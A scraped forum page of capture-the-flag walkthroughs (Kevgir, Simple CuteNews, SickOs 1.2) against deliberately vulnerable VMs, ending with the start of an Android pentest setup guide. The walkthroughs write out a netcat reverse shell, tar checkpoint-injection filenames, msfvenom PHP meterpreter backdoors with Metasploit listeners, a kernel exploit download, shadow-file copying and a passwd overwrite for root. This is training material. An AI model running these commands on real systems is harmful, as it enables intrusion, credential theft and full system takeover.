echo "mkfifo /tmp/ivkwne; nc 192.168.1.108 8888 0</tmp/ivkwne | /bin/sh >/tmp/ivkwne 2>&1; rm /tmp/ivkwne" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"
1
2
3
4
5
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
echo "mkfifo /tmp/ivkwne; nc 192.168.1.108 8888 0</tmp/ivkwne | /bin/sh >/tmp/ivkwne 2>&1; rm /tmp/ivkwne" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-nUpmFTRcA0I/WuLLLUNXXXI/AAAAAAAAWdE/yO8Od-rDU_cvbtPheG1uurPMCrTB0lFRQCLcBGAs/s1600/14.png?w=687&ssl=1)
The above commands help the tar command to run the file, shell.sh after the first file is archived. Since the backup.sh script is running as root, this has the effect of spawning a netcat shell and sending it to the attack platform on port 8888.
And if you go back to the terminal window where the listener was on, you will have victim’s reverse connection in some time, after that type following command to import python one-liner script for accessing proper tty shell.
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
And you will root access, further move into the/root directory and grab the credit.txt file and finished this challenge.
HAPPPPPYYYY HACKIIIIING!!!!!!
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-pil06xkr54k/WuLLLyEOHFI/AAAAAAAAWdI/2eld6TFEecMySpgv8LjvdYkk379qM9VgACLcBGAs/s1600/15.png?w=687&ssl=1)
In this article, we will walkthrough a root2boot penetration testing challenge i.e Kevgir. Kevgir is a vulnerable framework, based on the concept of CTF(Capture The Flag). This lab can be solved in multiple ways, one of them is used in this article.
Penetrating Methodologies- Network Scanning (Nmap, netdiscover)
- Joomla based CMS Scanning CMS (Joomscan)
- Exploiting target (exploit 6234)
- Login into the admin console
- Generate PHP Backdoor (Msfvenom)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Import python one-liner for proper TTY shell
- Find SUID Binaries for Privilege Escalation
- Abusing shadow & password file
- Get Root access and capture the flag.
Let’s Start!!!
First Download Kevgir Vm From [To see content please register here]
Start off with finding the target using :
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-Q0SwTWaB4cM/WxeHpeVve_I/AAAAAAAAXLA/EMNrfgxUD8wk52pRQDawS0QkMGpG5AaGwCLcBGAs/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.102 Now scan the target with nmap :
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
With the nmap scan, you can see the ports 80, 139, 2049, 6379, 8080, 8081, 9000, 40383 and many others are open as you can see in the image.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-39Qq8Mpe3us/WxeHsKF3K3I/AAAAAAAAXLw/myImctqG6Y04cRBOSX3A092ctDylbXupQCLcBGAs/s1600/2.png?w=687&ssl=1)
Also, if you observe then you can see port forwarding is used here e.g. HTTP service is open on port number 80, 8080 and 8081. So, let us try open our target on 80 and 8081 port.
On port 80 Our target opens as the following:
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-NPGNHm6B0NI/WxeHsoNTV3I/AAAAAAAAXL4/Uvz_CRgiJUYGRgVtl5N1xP5xpJ8zm7bXwCLcBGAs/s1600/3.png?w=687&ssl=1)
And on port 8081 opens on :
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-SkgHPMzhwpU/WxeHstUckbI/AAAAAAAAXL8/06kboLrDDdwO_Qo1A2uHegWgi660IZbOwCLcBGAs/s1600/4.png?w=687&ssl=1)
The cms of the website are Joomla and this version of Joomla, as everyone knows, is exploitable. We will scan the said target with joomscan :
joomscan -u [To see content please register here]
1
joomscan -u [To see content please register here]
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-rtj-KwyIfuY/WxeHsw9rtcI/AAAAAAAAXMA/R8t5BKS8VyoYrVCoVf3VLUhIXHS_y_6zgCLcBGAs/s1600/5.png?w=687&ssl=1)
Applying the joomscan will show all the vulnerable exploits. Here we can observe the highlighted text pointing towards “Admin Password changed” seems to be vulnerable against exploit 6234. Now if you look closely the exploit number 6234 will show you the steps to exploit the certain vulnerability.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ZkmfsfFdkBs/WxeHtTkTS_I/AAAAAAAAXMM/qRlkkbrCnvUGXS4vDwXIKfUdX4FqftHTQCLcBGAs/s1600/6.png?w=687&ssl=1)
According to the said, go for exploring the following URL:
192.168.1.102:8081/index.php?optiona=com_user&view=reset&layout=confirm
1
192.168.1.102:8081/index.php?optiona=com_user&view=reset&layout=confirm
Here, it will ask you for the token, type an apostrophe (‘) in the token adjacent text box.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-bZcncyuqZ6Y/WxeHtPNZtkI/AAAAAAAAXME/O4hVpO0SxaMVS6IAQ5bIxLLv6tDVjBsLQCLcBGAs/s1600/7.png?w=687&ssl=1)
It will redirect you to a page where it will ask you to set up a new password.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-AADrR2pb-N0/WxeHtW5iQJI/AAAAAAAAXMI/tsye8PaN3cUs4H-eInWnT501kE2qXRTkACLcBGAs/s1600/8.png?w=687&ssl=1)
After setting up the new password, login with the username and the password that you had just set.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-mW3GayBtWcQ/WxeHtuVPM5I/AAAAAAAAXMQ/1WDZF2yKMRk6PidG1QN-3jIVTy-vWKQNgCLcBGAs/s1600/9.png?w=687&ssl=1)
Now that you are logged in, go to the Extensions menu and select Template Manager from the drop-down menu.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-Hx8PTiywxy0/WxeHplYmYnI/AAAAAAAAXLI/K911H2-Kr14KKih_EjcVaprpG3t2_hzTQCLcBGAs/s1600/10.png?w=687&ssl=1)
Then choose Extensions > Template Manager > rhuk_milkway > Edit HTML.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-NyB_90BCH98/WxeHqMICMwI/AAAAAAAAXLM/hUq8zGsN7AYKE-e5nBwTVgSt-kIxzsMAgCLcBGAs/s1600/12.png?w=687&ssl=1)
Inside this, we can add our own PHP code but instead of editing genuine PHP for new template we will add malicious PHP code.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-ja7biDweoo0/WxeHqSCGXDI/AAAAAAAAXLQ/QqmIoBPD_pwp_oI-d3A9D0mJy8BGLSJLwCLcBGAs/s1600/13.png?w=687&ssl=1)
Create the malicious code that you are going to upload via msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
On the other hand run multi/handler inside the Metasploit framework
![[Image: 14.1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-g6dRvzj_0RI/WxeONdo3RaI/AAAAAAAAXMw/uuRu0Ys6kLkn0tQvJ7JVR767S4qHelypQCLcBGAs/s1600/14.1.png?w=687&ssl=1)
Copy the code from >?php to die(); and Paste the code inside HTML editor and click on save button.
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-5zyx3zTSrPY/WxeOZIKEZfI/AAAAAAAAXNQ/98Il_uzjgngfjibyi-_tVLwPrcBcgr-fQCLcBGAs/s1600/14.png?w=687&ssl=1)
Meanwhile, return to the Metasploit terminal and wait for the metepreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
meterpreter > sysinfo
meterpreter > shell
1
2
meterpreter > sysinfo
meterpreter > shell
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-6pF9guvepCI/WxeOTpdYCuI/AAAAAAAAXM0/qGIsYgXOPGwJO-oUETPAwGm03U-7hXguACLcBGAs/s1600/15.png?w=687&ssl=1)
Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now for privilege escalation either we can use find command to enumerate enabled SUID bit for any system binaries or we move into the etc/bin to enumerate enabled SUID bit any binaries file.
find / -perm -u=s -type f 2>/dev/null
or
cd /etc/bin
ls -al
1
2
3
4
find / -perm -u=s -type f 2>/dev/null
or
cd /etc/bin
ls -al
Hence we can clearly observe the SUID bit is set for cp for copy command, to copy any file which required higher privilege to perform read/write operation upon them such as etc/passwd & etc/shadow files.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-xZZmLM9q4d8/WxeOT7z2F7I/AAAAAAAAXM8/NoGc96Oi-oMx59nTYyALhWgDUp42OvrvACLcBGAs/s1600/16.png?w=687&ssl=1)
Therefore we copied etc/shadow inside tmp and open it inside /tmp directory. The shadow files hold encrypted password of users and we are have copied the hash password for user: admin as shown.
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-zy5EvH3Aw0U/WxeOTsFWeRI/AAAAAAAAXM4/bKo4dXrpU8o_21gWf-4Mn5q8OWBUfGXYwCLcBGAs/s1600/17.png?w=687&ssl=1)
Now we have pasted the above-copied text in an empty document and used John the ripper for cracking this hash value. As result, you can observe the password: admin for user: admin. This method is known as SUID binaries privilege escalation, for more detail read this [To see content please register here] .
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Fhy0YJ96Ch0/WxeOUE6qmJI/AAAAAAAAXNA/e1v8GVKYDuIFE67k2R2KgxZdNrNAFQu0QCLcBGAs/s1600/18.png?w=687&ssl=1)
But the task is not completed yet, this boot to root challenge and still, we are lacking root privilege. Now open the password file with help of cat where you will find an entry for admin. Now we know the admin user’s password and by manipulating his entries, we can increase his privileges and do so copy the whole content of this file.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-7_zalmE1IKQ/WxeOUdtwaDI/AAAAAAAAXNE/ADFcmOvXRo8CFgAeWr-Ss41T1pdIFuVaQCLcBGAs/s1600/19.png?w=687&ssl=1)
Paste it into an empty text file, now modify UID: 1002 & GID: 1002 into UID: 0 & GID: 0 for adding admin into root group member and saved as passwd so that we can replace original passwd file from our modified passwd file.
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-BNeZ5KrnglA/WxeOU-QymhI/AAAAAAAAXNI/SmxIBgilBiwwasyEc1-1eTjaI0fXQIzBQCLcBGAs/s1600/20.png?w=687&ssl=1)
Download the modified password file inside /tmp directory with help of wget as shown.
wget [To see content please register here]
1
wget [To see content please register here]
Now replace the content of the original passwd file from our modified passwd file with help of copy command and it is possible due to SUID bit which is enabled for /bin/cp file. After then switch user with help of su command and you will get root access after that as shown below.
cp passwd /etc/
su admin
1
2
cp passwd /etc/
su admin
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-yl67VfDxbNs/WxeOU5qUVZI/AAAAAAAAXNM/qeA-cDIOnzAxJV1yl3H2H-kbZ6ctEwTagCLcBGAs/s1600/21.png?w=687&ssl=1)
HURRAYYYY!!! We hit the Goal and finish this task. But this lab can be solved in multiple ways for example use kernel privilege escalation for privilege escalation.
Try it by yourself and enjoy the CTF challenges!!
|
|
|
|
| [Guide] How to Hack the Simple VM (CTF Challenge) |
|
Posted by: NINZA - 04-24-2020, 03:06 PM - Forum: General Discussion
- No Replies
|
 |
Simple CTF is a boot2root that focuses on the basics of web-based hacking. Once you load the VM, treat it as a machine you can see on the network, i.e. you don’t have physical access to this machine. Therefore, tricks like editing the VM’s BIOS or Grub configuration are not allowed. Only remote attacks are permitted. /root/flag.txt is your ultimate goal. Therefore, in this article, I will walk you through the whole method of completing this challenge.
First Download Simple VM from [To see content please register here]
Breaching Methodology:
- Network Scanning (Netdiscover, Nmap)
- Enumerate File upload vulnerability (searchsploit)
- Generate PHP Backdoor (Msfvenom)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Import python one-liner for proper TTY shell
- Kernel Privilege Escalation
- Get Root access and capture the flag.
We start by identifying our target with the following command :
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-yJvsUi41GV8/WuYGmodwA_I/AAAAAAAAWjA/1qtUDEbq1fEWIGm7J1-X8QK6VbthFfCBQCLcBGAs/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.106
Then move on to scanning our target with nmap
nmap -A 192.168.1.106
1
nmap -A 192.168.1.106
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-zXMfxh1XUAA/WuYGoN-DmkI/AAAAAAAAWjY/A46pJ7mWnkgMc9N4j6UKC6UMQAaXQ7RuQCLcBGAs/s1600/2.png?w=687&ssl=1)
On scanning, you will find that port 80 is open which will be pointing toward cutenews. So we will now open it on our browser.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-gty0rOhAUfA/WuYGoWVjoUI/AAAAAAAAWjc/RzVrFTdU3gEQ984cS5SPnHwtEHHNwI7wACLcBGAs/s1600/3.png?w=687&ssl=1)
Now we can see that our target is using CuteNews v.2.0.3 and the good news is it is exploitable, so let’s search for its exploit:
searchsploit cutenews 2.0.3
1
searchsploit cutenews 2.0.3
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-azhoItyrD8U/WuYGohFSRII/AAAAAAAAWjg/aD03PgNVTdYs5Mu6sc7nIpSKkckPa3LsACLcBGAs/s1600/4.png?w=687&ssl=1)
Upon searching for the exploit we can see that we have the path for the exploit. Follow the path and go to the exploit’s “.txt” file. In the text file, you find the instructions to upload the file. The first thing it tells us to register on the website in order to have the power to upload a file.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-SZc0BNN_Yyo/WuYGoqgKp3I/AAAAAAAAWjk/qDJM_poeTRc4K2oPZL6blDI4vsz3CBqmgCLcBGAs/s1600/5.png?w=687&ssl=1)
To register it will ask you to give your username and password as shown below.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-yqn-oZiTDeQ/WuYGpAHGX8I/AAAAAAAAWjs/LcooRZz_2S8OEPmsDRWk1SPWKPjoKaWXACLcBGAs/s1600/6.png?w=687&ssl=1)
When you complete the steps of registering them, it will redirect you to the following window:
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-tbUOewAvlSE/WuYGpBUmLAI/AAAAAAAAWjo/KnP7MDKtNvoOOpotgC2vlN-QrrQYho3YACLcBGAs/s1600/7.png?w=687&ssl=1)
Now we need to upload the file so make it with the help of msfvenom following command:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
On the other hand run multi/handler inside Metasploit framework.
![[Image: 8.1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-MOv7N9Gao0Y/WuYGpXeDcaI/AAAAAAAAWjw/qA4RqWbjQSQNTkN2NoudKJuXYGLnbawzgCLcBGAs/s1600/8.1.png?w=687&ssl=1)
Copy the code from <?php to die() and save it in a file with .php extension. To upload the file login from the username with which you have just registered and then click on personal options give your username and mail ID and then browse the file that you want to upload and then click on save.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-kH8U8xQZtAc/WuYGpRDgjUI/AAAAAAAAWj0/S5eEajsx2Wcmr5naKaxJLxFChiLt_tdCQCLcBGAs/s1600/8.png?w=687&ssl=1)
Now we will use dirb to find the directories. And for that type:
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-WgbwKmr1AfM/WuYGm4v_L4I/AAAAAAAAWjE/0ETJH9VjB-gnRp797jbx3K4IDcJRvETGwCLcBGAs/s1600/10.png?w=687&ssl=1)
It will show you /uploads directory. This is the directory where your file will be uploaded. Open the directory in the browser and you find your uploaded file there.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-zl9PSbS3s_E/WuYGnNNBHcI/AAAAAAAAWjI/BQGiG2AktVIe5rI8L2MuryJ-_dxmUvgcQCLcBGAs/s1600/11.png?w=687&ssl=1)
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
shell
1
shell
Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
cd /tmp
1
cd /tmp
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-ORzP3BmwbjA/WuYGnRD7OaI/AAAAAAAAWjM/O2XsHYXL5TM7PsCewblnVLmdwxTFLNw6wCLcBGAs/s1600/12.png?w=687&ssl=1)
Using sysinfo command I found machine architecture that helps me to find out a kernel exploit for privilege escalation and with help of Google search, we got an exploit 36746.
![[Image: 14.1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-D0605_rtDt8/WuYGnltuHCI/AAAAAAAAWjQ/r8IqHfGANd0OSCu2xcXFxhoebKae3ErAgCLcBGAs/s1600/14.1.png?w=687&ssl=1)
As we know that version of the kernel is vulnerable, consequently we will download its exploit by the command as given below:
wget https//www.exploit-db.com/download/36746.c
1
wget https//www.exploit-db.com/download/36746.c
This will install the exploit successfully. Moving forward, we will compile the file:
gcc 36746.c -o access -static
1
gcc 36746.c -o access -static
Now we will open the file access:
./access
1
./access
Then type id to know the users and then type:
cd /root
1
cd /root
and will take you into the /root. Further type:
ls
1
ls
It will list the files and one of those files will be flag.txt. To read the flag type:
cat flag.txt
1
cat flag.txt
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-51lx0JSJq_Y/WuYGnpUe0II/AAAAAAAAWjU/yp7HERkAtGka0z6OIRdJPlRyLEslM-YHwCLcBGAs/s1600/14.png?w=687&ssl=1)
In this walkthrough, I will explain how to solve the SickOs 1.2 challenge. This OS is second in the following series from SickOs and is independent of the prior releases, the scope of the challenge is to gain highest privileges on the system. This CTF gives a clear analogy of how hacking strategies can be performed on a network to compromise it in a safe environment.
First Download Sick OS from Here
Breaching Methodology:- Network Scanning (Netdiscover, Nmap)
- Directory brute-force (dirb)
- Find HTTP Options: PUT (curl)
- Generate PHP Backdoor (Msfvenom)
- Install Poster (Firefox plug-in)
- Upload and execute a backdoor
- Reverse connection (Metasploit)
- Privilege Escalation (cron job)
- Import python one-liner for proper TTY shell
- Get Root access and capture the flag.
Let’s start!!
So, first let us find our target by using :
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-Crp5j0nEFww/WuLZ671NFdI/AAAAAAAAWf0/6KtZq6_tpp0uIXtgBW_MXuc853O3t5HiwCLcBGAs/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.109 Further we will apply a nmap scan:
nmap -A 192.168.1.109
1
nmap -A 192.168.1.109
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-dL9tDj_q5II/WuLZ71-5YGI/AAAAAAAAWgE/E-7Zs5WJWu4NQdh3PkQgWU5iimqDzNH8wCLcBGAs/s1600/2.png?w=687&ssl=1)
As you can see that port 80 is open that means we can open this IP in the browser. Why not do that?
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-MCRkaxalc3M/WuLZ8lHy2-I/AAAAAAAAWgQ/TKulc2ecqiQJ5bo3dDNF636JUbUuLcisACLcBGAs/s1600/3.png?w=687&ssl=1)
Opening the IP in the browser will show us the above image which is of no use. You can try and look into the page source but unfortunately, you will find nothing there. That is why we will use dirb and to find the directories. And for that type:
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-MrYcMf3dE-0/WuLZ8YAtEzI/AAAAAAAAWgM/4pcDxaotZdgDOSpkXxzd4B4EVBkV9NwxwCLcBGAs/s1600/4.png?w=687&ssl=1)
As a result, you can see we have found our directory i.e. test Open it in the browser as well.
192.168.1.109/test/
1
192.168.1.109/test/
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-puLrdq3Jtk8/WuLZ8ygmnhI/AAAAAAAAWgU/R5CNEiudQsUpzN3ayYCHHsiTReU-IWbwACLcBGAs/s1600/5.png?w=687&ssl=1)
It will show you the list of directories. So let us try and explore test directory via curl.
curl -v -X OPTIONS [To see content please register here]
1
curl -v -X OPTIONS [To see content please register here]
This exploring will show you that PUT is allowed that means you can upload any file through it.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-JdeP1YHQclE/WuLZ8wXCKlI/AAAAAAAAWgY/1UDx4HUOsVUg4PM9XXPyBx2tH3gspMleQCLcBGAs/s1600/6.png?w=687&ssl=1)
So, prepare the malicious file that you would upload with msfvenom:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=443 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=443 -f raw
On the other hand run multi/handler inside Metasploit framework.
Copy the code from <?php to die(); and paste it to a text file with the extension .php for example shell.php and ready to upload the said file.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-zxWUEEGc4Ac/WuLZ9BUbVQI/AAAAAAAAWgc/SblG_U_h4UoLCAbn_mhbJ0XLQc45PRNRwCLcBGAs/s1600/7.png?w=687&ssl=1)
Now to upload your .php file we will use the add-on poster. Click on the tools from the menu bar. And then click on Poster from the drop-down menu. The following dialog box will open. Here, browse the file that you will upload and click on PUT option.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-2KWtH41Nrk8/WuLZ9cDed4I/AAAAAAAAWgg/bJnfYOw-vbA8VyayzX31vPtQJ-fy2SKPQCLcBGAs/s1600/8.png?w=687&ssl=1)
It will show you that the file is uploaded
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-JDRGVGtKV0s/WuLZ9eRBzqI/AAAAAAAAWgk/819zyNJLINU0qQHoea4ArC8l2cq_JDBmwCLcBGAs/s1600/9.png?w=687&ssl=1)
And you can see the same on your browser that you file will be uploaded (as in our case the file is shell.php) now run the file you just uploaded.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-EcclO73yFpw/WuLZ60bPElI/AAAAAAAAWf8/Ju-7yykFAxMQbB6eYk0JSBeBKXpNe2vjgCLcBGAs/s1600/10.png?w=687&ssl=1)
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 443
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 443
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
Then I check for cron jobs from inside /etc/crontab and here found some schedule jobs.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-7VePh-RC_fk/WuLZ7MQH4lI/AAAAAAAAWf4/RAcKcNrQ4h4Fhyqt20tcgm7giRWjl2M_QCLcBGAs/s1600/11.png?w=687&ssl=1)
Moving further type the following to explore more and find something to be exploitable:
cat /etc/crontab
1
cat /etc/crontab
The above command will give you the list of the files. On observing you can see that there is chkrootkit. Some of its version is exploitable therefore we will check its version and for that type:
chkrootkit -V
1
chkrootkit -V
It will show you the version which is 0.49
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-xxpJX7UnLtY/WuLZ7blho1I/AAAAAAAAWgA/XDrx0ITbKHQZNkwovYRQkYHJs3Yjzb3tACLcBGAs/s1600/12.png?w=687&ssl=1)
With help of Google, we came to know that Metasploit contains an exploit for chkrootkit exploitation. After entering following command as shown in the given image to load exploit/unix/local/chkrootkit module then set session 1 and arbitrary lport such as 8080 and run the module.
This will give another session, as you can see we have spawned command shell of the target’s machine. Now if you will check uid by typing id it will show uid=0 as root.
id
cd /root
1
2
id
cd /root
And to see the list of files in /root type :
ls -lsa
1
ls -lsa
In the list you will see that there is a text file and read that file type :
cat 7d83aaa2bf93d8040f3f22ec6ad9d5a.txt
1
cat 7d83aaa2bf93d8040f3f22ec6ad9d5a.txt
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-h-s833UHAi8/WuLZ7jryjzI/AAAAAAAAWgI/M0W3txj-RwgJ0geyI1xUqc1VxI7-EdCpQCLcBGAs/s1600/13.png?w=687&ssl=1)
Nowadays mobile user’s area unit increasing day by day, the protection threat is also increasing along with the expansion of its users. These threats can disrupt the operation of the smart phone, and transmit or modify user data. For these reasons, the applications deployed there should ensure privacy and integrity of the info they manage. Mobile security involves protecting personal and business information continues and transmitted from good phones, tablets, laptops and totally different mobile devices. Mobile security has become very important in mobile computing as a result of the day these days increase inside the delicate attack methods. So, now we will see how to exploit and analyze the android application for vulnerability.
So first we have to setup an environment for android application testing.
Requirements for android penetration testing: - Virtual Box
- Santoku OS which come with preinstalled SDKs.
- GenyMotion for creating Android Virtual Device ( AVD)
- A vulnerable android app “InsecureBankv2”.
Let’s start…
So first download Santoku OS from [To see content please register here] . Santoku OS is built especially for Mobile penetration testing and forensic investigation. Santoku comes with pre-installed SDKs and other utilities. There is a bunch of forensic tools also like firmware flashing tools for multiple vendors, some other forensic scripts for enumerating app details, etc.
After downloading Santoku open Virtual Box and create a new virtual machine for it.
Now select RAM for Santoku VM, recommended is 786MB but I took 2GB, you can select according to your own need and click NEXT.
In this section select hard disk type as per your need or select VMDK (Virtual Machine Disk)
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-i6d0BPjh5K8/V8u4awTQqEI/AAAAAAAANeg/JWzKN1ixeagAATYLNNsqivz5MIdL_u19gCLcB/s1600/3.png?w=687&ssl=1)
Here select the size of the hard disk as you wish and then create VM.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-593qE7iBrUk/V8u4bQhCGvI/AAAAAAAANek/RHWE5LTFQU8yMqT3digDqKRwklwrTEjrACLcB/s1600/4.png?w=687&ssl=1)
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-ZQO7L06jhDw/V8u4bqyVBHI/AAAAAAAANeo/errNncBgeBw0GOcKmmwpY7ntt7Yg6R0EwCLcB/s1600/5.png?w=687&ssl=1)
Now for installing Santoku tou our created VM right click on Santoku VM and go to settings Storage then select the empty disk after click on disk icon just in front of optical drive in the attribute section and then browse and select the downloaded santoku iso file and click Okay.
Finally launch that VM and after few seconds santoku boot menu will appear select “Install- start th installer directly”
Now installation process will begin, select your preferred language then click on continue after click on Install now.
Select your preferred language for the keyboard.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-vW0w8vx6nlw/V8u4ZGj7U-I/AAAAAAAANeE/IUOIQwc1vngHbOD6Z1LoHt1bHInjiY3XgCLcB/s1600/10.png?w=687&ssl=1)
Now in this section name your VM and set a strong password for login access you can also chose Login automatically but it’s not a good choice.
Now santoku will start copying files and installing. Now sit back and wait for few minutes after that it will restart.
Here our Santoku is installed that means our first part is completed.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-kELWNZw2OH8/V8u4ZpBdfBI/AAAAAAAANeM/V-4WuILUS7s6N-i4W1gCiP1Ic_bRlZj5gCLcB/s1600/13.png?w=687&ssl=1)
Now you can download Genymotion from [To see content please register here] .
Basically, Genymotion is a relatively fast Android emulator which comes with pre-configured Android with OpenGL hardware acceleration suitable for application testing.
After installing Genymotion, go to [To see content please register here] and create a free account there and verify your email ID. Then come back to genymotion desktop software and login there using newly created account credentials.
Now to create an AVD click on ‘Add’ a new menu will appear where you can select android devices according to device brands and version numbers.
